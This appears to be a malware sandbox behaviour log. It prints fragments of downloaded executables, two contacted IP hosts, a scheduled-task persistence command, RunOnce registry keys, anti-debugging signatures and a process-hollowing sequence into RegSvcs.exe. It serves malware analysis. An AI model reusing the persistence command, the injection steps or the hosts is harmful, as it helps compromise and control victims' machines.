Y-ò+{2-c-øX*+Ù+Ý+è^+{/+ {0þ*+î+ò( *^ €=}5( *0÷ =8²:Œ9«&,\+8¦%X8£œ8¢ 2ä,`+-É8”%X8‘ œ8 2à+ 8‡%X œ %,62é+%X œ 2ðs!€: =  +%X œ 2ó,®s!€;* 8Hÿÿÿ 8Pÿÿÿ8Tÿÿÿ 8Wÿÿÿ8Xÿÿÿ8fÿÿÿ 8iÿÿÿ8kÿÿÿ8sÿÿÿ:( (?*( *0\9%О+9€B-ê%,9%Й+'€C-ä%,͍9%М+€O*(G +À(G +Ò(G +å®}V( s.}X{Xs+}Y*.+{W*+÷¾+'{V3+{X{”-í%-ëþ*,ç%-ï*+Ö+ÞR+{Y+*+õ(K+õ0² 9%М8^€b=%К8Q€c >€l =€m-\8/+-~l8)08(Xb8&-~m%X8œ8 2Ç+&~l8 Xb(A~m%X  œ 2Ò::ÿÿÿ+(~l ÿÿÿX b(A9ÿÿÿ~m%X œ 2Ð+~l¨Xb(A~m%X œ 2ڍ>€n=€o:3ÿÿÿ +(~n b(A9¿þÿÿ~oœ9ŠÿÿÿX 2Ó*(G 8˜þÿÿ(G 8¥þÿÿ 8Ëþÿÿ8Ñþÿÿ8Òþÿÿ(A8Ðþÿÿ 8Üþÿÿ8Ýþÿÿ8êþÿÿ0g( }d  s*}es*}fs*}g @>}h @=}i*Ú( }w}r}v>}p9}u*0Z ( }s)}‘ =}‹ €>}ƒ €>}„% }‰}ˆ*.+{–*+÷:+ {”þ*+ô^ =}’( *(H *&(I *0} +]{h+\{j+V{i+R+S{j+O+PX}j+J+KҜ{e{p>%HXhS{j @þ,%-÷þ*8ÿÿÿ+¡+§+«+ª +®+­+³+² 0+Þ (+÷&Þ* ?0M+,+-+.{’+*{”+&+'-ç+)+*{”+&X}”,é*+Ñ+Ð+Ï+Ó+×(J +Ò+Ô+Ó+×0¡ -1
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@ິ Í!¸LÍ!This program cannot be run in DOS mode. $ðºÖ*´Û¸y´Û¸y´Û¸y½£+yºÛ¸yvZ½xœÛ¸yvZ¼x¸Û¸yvZ»x¥Û¸ys®¹xªÛ¸y´Û¹y©Ú¸y´Û¸yÜÛ¸yGYºxµÛ¸yRich´Û¸yPEd†ŽP—fð" 'Žz 0@@`|¾hð,0ØvTx(Àt@ h.text ŒŽ `.rdataX2  4 ’@@.dataÀ àÆ@À.pdata,ð.È@@_RDATAô ö@@.relocØ0 ø@BVWSHƒì H‹‰Áƒáƒùu@HpÿH‹xÿH‹XH‰ùÿH‹SH…Òt L‹CH‰ùè¶CºA¸H‰ñHƒÄ [_^éœCHƒÄ [_^ÃÌÌÌAWAVAUATVWUSHì8fD)„$ f)¼$)´$Lt$(H\$XH¼$ H5¡•L¬$ˆWöfWÿf.„HܪH‰D$(H‹L$(H¸Î!{ÿ¨ùH‰D$(H‹T$(èvH‹Hº»úÚùæ“>H1ÑH‹PI¸?Ð ”ú¨L1ÂD‹@A¹Iù´¢E1ȶ@4gH‰L$XH‰T$`D‰D$hˆD$lH‰œ$ HDŽ$¨H‰¼$ˆL=Ì>L‰¼$H‰t$(HÇD$0HÇD$HL‰l$8HÇD$@L‰ñè'Hù/H‰D$(H‹L$(H¸¯6¶#×ÙH‰D$(H‹T$(è-H‹Hº¼A çÿµ“H1ÑH‹PI¸£1h¥­ÜÈL1ÂL‹@I¹ù>ÙUºØÂ2M1ÈD¶H·@A‰ÂAÁê4PA€ò&A€ñ`H‰L$XH‰T$`L‰D$hˆD$pDˆT$qDˆL$rH‰œ$ HDŽ$¨H‰¼$ˆL‰¼$H‰t$(HÇD$0HÇD$HL‰l$8HÇD$@L‰ñèCH 3H‰D$(H‹L$(H¸­ ŒÔSH‰D$(H‹T$(è H‹HºGX?-.}H1ѶP ·@A‰ÀAÁè4A€ð¾€ò»H‰Œ$ˆˆ„$Dˆ„$‘ˆ”$’L‰l$XHÇD$` H‰œ$ L‰¼$¨H‰t$(HÇD$0HÇD$HH‰|$8HÇD$@L‰ñèˆHKºH‰D$(H‹L$(H¸xÑàï81ù¤H‰D$(H‹T$(è¾H‹HºfčJ¦Ñ.²H1ыPA¸Ë^kD1·@ A‰ÀA€ðhÁè4!H‰Œ$ˆ‰”$Dˆ„$”ˆ„$•L‰l$XHÇD$`H‰œ$ L‰¼$¨H‰t$(HÇD$0HÇD$HH‰|$8HÇD$@L‰ñèÉHV*H‰D$(H‹L$(H¸m¡Õ8§BÄH‰D$(H‹T$(èH‹HºEâ+ktw ûH1ÑH‹PI¸Fq jÍàqL1¶@4ÌH‰L$XH‰T$`ˆD$hH‰œ$ HDŽ$¨H‰¼$ˆL‰¼$H‰t$(HÇD$0HÇD$HL‰l$8HÇD$@L‰ñèHñH‰D$(H‹L$(H¸M˜[ªzšõH‰D$(H‹T$(èÿH‹Hº36ß'_á?âH1ѶP ·@A‰ÀAÁè4õA€ðĀò•H‰Œ$ˆˆ„$Dˆ„$‘ˆ”$’L‰l$XHÇD$` H‰œ$ L‰¼$¨H‰t$(HÇD$0HÇD$HH‰|$8HÇD$@L‰ñè^H²åH‰D$(H‹L$(H¸/çqa™º5~H‰D$(H‹T$(èT‹ºr`Ê$1ÑD¶@·@‰ÂÁê4€ò–A€ðFE¶ÀDˆ„$ŽIÁà0¶ÒHÁâ(L ¶ÀHÁà H ЉŒ$ˆHÁè f‰„$ŒL‰l$XHÇD$`H‰œ$ L‰¼$¨H‰t$(HÇD$0HÇD$HH‰|$8HÇD$@L‰ñè’HDŽ$ØHDŽ$àHDŽ$èèyõH‰„$ H‰ùH”$Øè‘õI‰ÄH‰ÕHp¡H‰D$(H‹L$(H¸ŒËû­Úo%xH‰D$(H‹T$(è¡H‹Hº~‚tXWö½H1ÑH‹PI¸ö°”Ï<ÄL1ÂD¶@·@A‰ÁAÁé4A€ñbA€ð_H‰L$(H‰T$0ˆD$8DˆL$9DˆD$:M…ä…¬ H‹Œ$àH‹”$èè@9H‰ÁèXËH‰Å@öÅ… HÁí ƒý„( H¾àH‰D$(H‹L$(H¸PúDÿe³U7H‰D$(H‹T$(èô H‹Hºjì1ÎGÞH1ÑH‹PI¸‚Exצ&Å&L1ÂD‹@A¹nR%ÀE1ÈD¶H·@A‰ÂAÁê4A€òLA€ñ|H‰L$XH‰T$`D‰D$hˆD$lDˆT$mDˆL$nH‰œ$ HDŽ$¨H‰¼$ˆHL8H‰„$I‰÷H‰t$(HÇD$0HÇD$HL‰l$8HÇD$@L‰ñè¤þHDŽ$ˆHDŽ$HDŽ$˜è‹óH‰„$ H‰ùL‰îL‰êè¥óI‰ÅI‰ÔH¹ŠH‰D$(H‹L$(H¸—Ô7ð‰|è^H‰D$(H‹T$(èH‹Hº¥QÙ Ã]H1ÑH‹PI¸%…¾«¨ YL1ÂD¶@·@A‰ÁAÁé4žA€ñ:A€ðnH‰L$(H‰T$0ˆD$8DˆL$9DˆD$:M…í…Î H‹Œ$H‹”$˜èT7I‰ÐHŒ$ÈH‰ÂèQÀ¼$È„/I‰õH•äH‰D$(H‹L$(H¸N¨Ò=ýš„H‰D$(H‹T$(è6 H‹Hº[oGD-*'œH1ÑH‹PL‹@L‹HL‹P D¶X*·@(H‰L$XH¹e4U7³fëH1ÊH‰T$`H¹Wû ¦ îI1ÈL‰D$hH¹é¨ uÁä.âI1ÉL‰L$pH¹Ú¨mèA ®óI1ÊL‰T$x‰Á4rˆ„$€Áé€ñUˆŒ$A€ó Dˆœ$‚H‰œ$ HDŽ$¨+H‰¼$¸H)6H‰„$ÀL‰þL‰|$(HÇD$0HÇD$HH„$¸H‰D$8HÇD$@L‰ñèyüéÅòD„$ÐHH3H‰D$(H‹L$(H¸§-íJˆ›ÞH‰D$(H‹T$(è H‹Hº7õC¨å¶J H1ÑH‹PI¸n-QΐŠo”L1ÂH‹@I¸Î¹ŠÂ÷QÕ#L1ÀH‰L$XH‰T$`H‰D$hH‰œ$ HDŽ$¨H‰¼$¸HL5H‰„$ÀL‰|$(HÇD$0HÇD$HL¤$¸L‰d$8HÇD$@L‰ñèŸûHDŽ$ HDŽ$¨HDŽ$°è†ðH‰„$¸L‰áH‰úè£ðI‰ÅI‰ÔHÒDH‰D$(H‹L$(H¸ŽàùÆH‰D$(H‹T$(è# H‹Hº:øìðèH1ÑH‹PI¸v€[[\îÿAL1ÂD¶@·@A‰ÁAÁé4†A€ñ8A€ð²H‰L$(H‰T$0ˆD$8DˆL$9DˆD$:M…í…ÚH‹Œ$¨H‹”$°èR4I‰ÐHŒ$ðH‰ÂèOÀ
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL±šfà àäà›@p@…òx 4Mœ.text[Þà `.rdataÛ*ð,ä@@.data ü j@À.reloc4M Nz@B
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL¤ œfà  š >¹ À @  @…ä¸ WÀ à  H.textD™ š  `.rsrcÀ œ @@.reloc à ¤ @B ¹ HHKœmrl~Ù:¸ïûŽ¾ÝÜ[sÂvuGH†«9os‘63ð¯bGîIù«°åµ¢ÞZ]¶0pëQuÔÄ Æ´‚ìÖ'G;¢³¯{z‚g0o¬}Cá¿¡ëFº˜m^„ðۖQî‘Jé.¯ Œ¢¢ä;xᢱ0šÝDIԍ¿,J?ãU²6Éq1= ‡dSÝk;Ù]+jƒ`[ÏC¾­@ <øô|žuEÊÄÞq/VÕ€ÃhãÖ.yó6ljô’õA˜Nø »‘aŸÍèQßh¼}XWî}…?©šm0Käà9ü®f²ÞžçÆÒeDóIϓ±:AZn‚ˆ€ ÝŸ·"AÂ݋¾ê¾³ßù½>ý(É#”—¥3j ‡ ž³ÓžärÔLÉ$WpÉĕm’ßåøšI¿WQ¬OnûÔ$}%ŽZ‘uＬI!k¾–, g[îlj¹(v„ÖÞtæâ;PK͋«ðù—w#ô]£‚ —ç 6§Çõvês:÷!°ˆ[ê!GúÊi{¶†Á5ùՀÚPdsÀs>Oހû—  Y¼ô‰Ý ½×½=Î]Wne‘óâ[^)`)•¯ã³§£ö8«ßa.^¤‚,%Î[ñÅïºôÓÀ¯ð[²Ì”%€ç™È^gvr±'ÞÏʤGé 0¨Èy+õÒNzž£^Ÿž5Á¬ÙÑ ”áulL¨ÚDÔM£©8R'õàŨçŸ<4s/wÆæÒ OŖ6I *¨?þ8/~!NT5µ¥F2÷‘U‡Íø¼Ux¶b !-ä_xŽí@Ðò) çD)•‚“Ðwšõw¥ â/y›9^Ý ÌÊ’²½m„ ‚JGö`ïÝ6~;Äö¡æu©Âo9å~Ø+ÿÉÕ®ŒÈÜ+ÁЍäðpv>˜Ê'‘MÂ>]H%ŖézWGŸá™¢¶ûª @íK¾HþÄãi•büe‡}i®€Û‡‚†‘-)Ôóќh‰fN½©ß*\³Yñ#Ô×v¥&VRfk¾ù¼ ÍΎŽ“a[À!A B•}ôéò-k¡Õöð´ÒÃEJÌ°6Òqr:ԟ¯FŒjΒk<üÓy ‘Ú¿3 'NR>/Ù8Ïun®O[HmeOâ½#³áÃ{Sð;iÔû%Cmþçö¥˜ƒÃ½Åâ}䞛ü_ڐ!Eê[ å½þâdŠ§ò\6Ƭ,ŸÖFhTöiæu¿vȟ£ûéʨO¨Í¾ñ‹tsCF ‹ÎîÀzçs@á  E|ŒÄ•äØÙ"†pfÔ«ÈLÉóƒ^$÷B\a6«SK,8˜áÏÝî“,$½©ÕÒ@!ñ40ÿêÍ÷vv#[)Çلr ³~ç›rO1Mï†1æʕä ÊnçzãZÁ3%MNú ´lr¸à,„úÑ@ÀP9±?‘ß~¹ qr¾1 ø”îÏۖ°€TRŸð%añbIú»4C2ïÌ ÄÄm0@‘&зAºdËsþm–³2*{µ«÷[lhî=qðœŒn»íÈKúa±š4¶ŽKía{ºP&-]âï÷Á¾¦ÓˆM~=Ùæ›Z½¿ÿêÃÃó¨§M“£Ãæ^pJ…üÆI”ç55 ¢xA'g/:{xê-wÓÕcÁI¯fw²[œú(Ft[Ê`ó%G¡m‰ÞÅs¸Nàåová'Û/¤©<zÞP¢™¨fªO%þ¤’ü›j-}÷é2PéiÑi=P/F@é–Æ}¼º1ï˜”Ec½<JäX÷ïkþ¿-oä`A]­¿{"ïëõ¿\(à‚Z^2~¾0CÏzC˂»aoæ·÷?¶`Á-(¤Jà¼]$šÅ‚Å—ó¢õùöéa‚å¾^Hӗƒ‡—Ø­S|$ŠuÒ0²‘2nÊäÊú•ì¿N€E~ZÀV3{‹ÜÅڑU³U]Žu¯lÀdš‡ Ю°‹$A´8*‚/™ªA@|ð,ZOpnWlO‚!¸¿|âĔ*78`6ž&yo§TÚÊä`@fý/#§h~Y:ús×Q]ÓY üE<À³ò͘Õ/ýQU·MœúCOŸéCځ`ïÒ¢ô¢éúDu¥Ë^ÍI|É®ÿ¹<zˆ Ð$a>´{fÝSЁEÆUÓ¶WN„Ù-M6˜bÂ+;~?›Zðš2¥?ꞃí¦Öïèñ)Ñ­£uNêWTžqWgʂɌ¢ƒª¯åۈ¡¾5n™<žÜ%ÎO*CLKo1™¸Ý³—˜w——mîMq¤ ÛI ²k7{Oãggò”—2óêšT¸×Üì²µÈWæɺÓØZXsN彎ø§JÖ>fÁ6žà1Ç>ÁóYÂÕº|üsòõsô$T¿3…EӟI¬U„¡`1͂ >r;¶'r¼ õ¤+ž=îãý‚èšÀ\¤§˜(sÔÂÐ1H[gvªî·m,QÝôþ›L‚Ü­¶ë&×ÇÄI•P€ý85yJ}ü®( F‰„¨†ér.T0gQÄ,7’6 ™†K$Ç—Àé¡P‰•¨ðàbƒ´;F¨û€'ûÝ©à,œaé¸ìR£¦î Ág0b9ˆtn³à*ÒnêŸÊ|]“AõÑ[Z³&q´Šl"ˆ{W=Îjë$`A£/Or–íˆÀ,3Ö³?¡½yºYê•öHñv/S]à|L’݁T›íÿÂsÿŠor>§Y#€ÜR~ …tþ¡u“ó'Ó,<Ž¢Cߍ4 Ûj¤Â;”ÌÈò¾ëضc=¦ÑѯX¶A\–Áµ}”ðâKLf+Sõ%¿±Õvû§ïӆzҕ;ýë+쯇%RÜí»tAV*ËÓbÚoS»þVLxØ$ÅÉ':ÄGCÞÒؗéPßE‚Ï?³v³ci9|[Ö¶f™ŒeõZMíG¿ÒN AW¸Uÿ¨‡õ­ôÕ՘¦ÒñÿXvtânÒú‡råN`%w@N¹>yñ?´„ílSõ#ø´H 1¸p"ð·%×"߀4觵5ºuø©«×?Ô"ÒI+öŸŽz{XO-¸Æ+#LŒ’=ÀˆS Ç_RFOˆÿñ·ÈÛ¡ý‰ßh Íê4Yø¿6/’zÕÇ);‘f"lÊuáøG¿€”¹–ʆ £pÏph>ÏÚ(훬ýô$ÑL”u™ƒD€ÎMìoÅىâGhS#c·ˆe…Ä®8ãfàÃìÉ&?¦(BÞv$;«ÖgP0ÑÛlKGrø¹›Ñµ9K=•‘l›dN* HÑoR¹¦z@¼ö Q‹nݜpØRÇEJ ©^R±‚ôDÝ.õú—ô*c¿Ç [zÁddà®ïÛ÷ (lÔS[Žys7éï‚KPþ] ‰óéûJnÚÆ)O”Ä_]Q€áà ݅‰¡ !¹¦V•öÜj¹…ž.0ä>÷Q(=7Ó!˜Ó-U ªKœ‹U*lèÌÖµ¼Í£s¡sÊeÇ5rDdý¢ÆvŸŒŸb:Ý_‘¤QÀ•Ø%2Ær‰‡ëUõ®oF Ú»‘lLâÎ'†ê‚ÎKÃ¥}aQ„/KÙ+iéä!†ÿÈ=®'üGu¨x¹Ø¼úmº-²ÎêŽ<sþóKS±c @¡­E+j(“9 ¤Ûa9KÔ\»Ç•Oú›ñ¹7äWK\)<褛w<(ý¾½ksîÕoYص{úA:¿ dyPóÿ#0¶AdÏ%µ)¬¿ñ¡U=P‰áükFXåþ[ÐNê=0!ðꟼD k|E€p”ç$AËLK$чw&fT²…ó t…'ßVh_Þ7º[A+Õö ·ÏË'#óã‚öäyîøÅÉ2¦ÚËT’D¼stPýŠÉ´ïõ»è¼᪯ß;Ô"¤j"ÏO šõÏëýƒ£$½ª¥8<Ò§ô㕇eT v­xÑÏn¹£!ܹ<ÝY+¶JÀí»ûÀ©¾à¦ìzt¼ŸZ ´üÍ R·9÷U¬a^»®NÝQɕßSæñúFýÂàÈq {Î?Ô,´´Šoµ5ƒµ/@8F „Ô‘ž(N`) &@HM\³{+>}éÕluÈA΃dÝë ™he4³=(">ÙõUtö„Þk{+ tD=öyįˆ¤5ð ÑÚ\b<Œ¬#+1íNüÆȗ¾,”׺Mý.Ž¸¢<Âø7 ˜OË:.@X Ãʯº¥’Rl¿²ß UmBõórÚ5À¸ZÞ ‰ )ÚÞâõ§ÅäÎ4_•¸¾ÿU…ÐÖÑÔ}–ˆù¦t±H–à›ŸN½„$Çq€¦–jù‹¤ú£Jæ'Y¡!ʃ”¯‹…âÎd«BÔ»ô@ö 怛øHŸ`×nh<ú6 ۊèŽò¦èõ­P<uAý=»<”˜/HÒÂÏ)¸œ–WE’¸ñª8ñH))x½XÀA$6r¼ž©>‘*yØïëyxóñ8¢'ÆeËqP§Äݺ ÇÄòD%V~ÿg# j¤‰f  ÛÙUŸ^Ù^˜gZTDy¡â“«ž4Ò&iy¤c•WAl}8Š”#®ëš€z†FÝziÖð3#þ~e
request_handle: 0x00cc000c
1 1 0
description Take ScreenShot rule ScreenShot
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe" /F
wmi SELECT * FROM Win32_Processor
buffer Buffer with sha1: af1a6ac67a1e2103e530b9e35a5e78c026a4fc36
host 185.196.10.57
host 185.216.214.218
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2936
region_size: 356352
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000052c
1 0 0
registry HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RUNONCE\explert.exe reg_value C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
cmdline C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe" /F
Time & API Arguments Status Return Repeated

LdrGetDllHandle

 module_name: snxhk.dll
module_address: 0x00000000
stack_pivoted: 0
3221225781 0

LdrGetDllHandle

 module_name: snxhk.dll
module_address: 0x00000000
stack_pivoted: 0
3221225781 0

LdrGetDllHandle

 module_name: snxhk.dll
module_address: 0x00000000
stack_pivoted: 0
3221225781 0

LdrGetDllHandle

 module_name: snxhk.dll
module_address: 0x00000000
stack_pivoted: 0
3221225781 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2936
process_handle: 0x0000052c
1 1 0

WriteProcessMemory

 buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL±šfà àäà›@p@…òx 4Mœ.text[Þà `.rdataÛ*ð,ä@@.data ü j@À.reloc4M Nz@B
base_address: 0x00400000
process_identifier: 2936
process_handle: 0x0000052c
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL±šfà àäà›@p@…òx 4Mœ.text[Þà `.rdataÛ*ð,ä@@.data ü j@À.reloc4M Nz@B
base_address: 0x00400000
process_identifier: 2936
process_handle: 0x0000052c
1 1 0
file C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
Process injection Process 2220 called NtSetContextThread to modify thread in remote process 2936
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4234208
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000158
process_identifier: 2936
1 0 0
Process injection Process 2220 resumed a thread in remote process 2936
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000158
suspend_count: 1
process_identifier: 2936
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2112
thread_handle: 0x000000d4
process_identifier: 2108
current_directory:
filepath:
track: 1
command_line: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe" /F
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 0
process_handle: 0x000000d0
1 1 0

CreateProcessInternalW

 thread_identifier: 2224
thread_handle: 0x00000278
process_identifier: 2220
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000280
1 1 0

CreateProcessInternalW

 thread_identifier: 2280
thread_handle: 0x000000d0
process_identifier: 2276
current_directory:
filepath:
track: 1
command_line: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe" /F
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 0
process_handle: 0x000000d4
1 1 0

CreateProcessInternalW

 thread_identifier: 2472
thread_handle: 0x00000514
process_identifier: 2468
current_directory:
filepath: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe
track: 1
command_line:
filepath_r: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 0
process_handle: 0x0000051c
1 1 0

CreateProcessInternalW

 thread_identifier: 2616
thread_handle: 0x00000524
process_identifier: 2612
current_directory:
filepath: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe
track: 1
command_line:
filepath_r: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 0
process_handle: 0x00000520
1 1 0

CreateProcessInternalW

 thread_identifier: 2940
thread_handle: 0x00000158
process_identifier: 2936
current_directory:
filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
track: 1
command_line:
filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x0000052c
1 1 0

NtGetContextThread

 thread_handle: 0x00000158
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2936
region_size: 356352
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000052c
1 0 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2936
process_handle: 0x0000052c
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4234208
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000158
process_identifier: 2936
1 0 0

WriteProcessMemory

 buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL±šfà àäà›@p@…òx 4Mœ.text[Þà `.rdataÛ*ð,ä@@.data ü j@À.reloc4M Nz@B
base_address: 0x00400000
process_identifier: 2936
process_handle: 0x0000052c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2936
process_handle: 0x0000052c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0043f000
process_identifier: 2936
process_handle: 0x0000052c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00442000
process_identifier: 2936
process_handle: 0x0000052c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00452000
process_identifier: 2936
process_handle: 0x0000052c
1 1 0

NtResumeThread

 thread_handle: 0x00000158
suspend_count: 1
process_identifier: 2936
1 0 0

CreateProcessInternalW

 thread_identifier: 3016
thread_handle: 0x00000530
process_identifier: 3012
current_directory:
filepath: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe
track: 1
command_line:
filepath_r: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 0
process_handle: 0x00000528
1 1 0

NtResumeThread

 thread_handle: 0x00000000000000c4
suspend_count: 1
process_identifier: 2468
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000138
suspend_count: 1
process_identifier: 2468
1 0 0

NtResumeThread

 thread_handle: 0x000000000000017c
suspend_count: 1
process_identifier: 2468
1 0 0

NtResumeThread

 thread_handle: 0x00000000000001e8
suspend_count: 1
process_identifier: 2468
1 0 0

CreateProcessInternalW

 thread_identifier: 2700
thread_handle: 0x0000000000000368
process_identifier: 2696
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\System32\cmd.exe" /c timeout 10 & exit
filepath_r: C:\Windows\System32\cmd.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000000000000370
1 1 0

NtResumeThread

 thread_handle: 0x0000000000000310
suspend_count: 1
process_identifier: 2468
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000c8
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000c8
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000c8
suspend_count: 1
process_identifier: 2468
1 0 0

NtResumeThread

 thread_handle: 0x00000000000001e8
suspend_count: 1
process_identifier: 2468
1 0 0

CreateProcessInternalW

 thread_identifier: 2268
thread_handle: 0x0000000000000380
process_identifier: 2184
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\System32\cmd.exe" /c timeout 10 & exit
filepath_r: C:\Windows\System32\cmd.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000000000000394
1 1 0

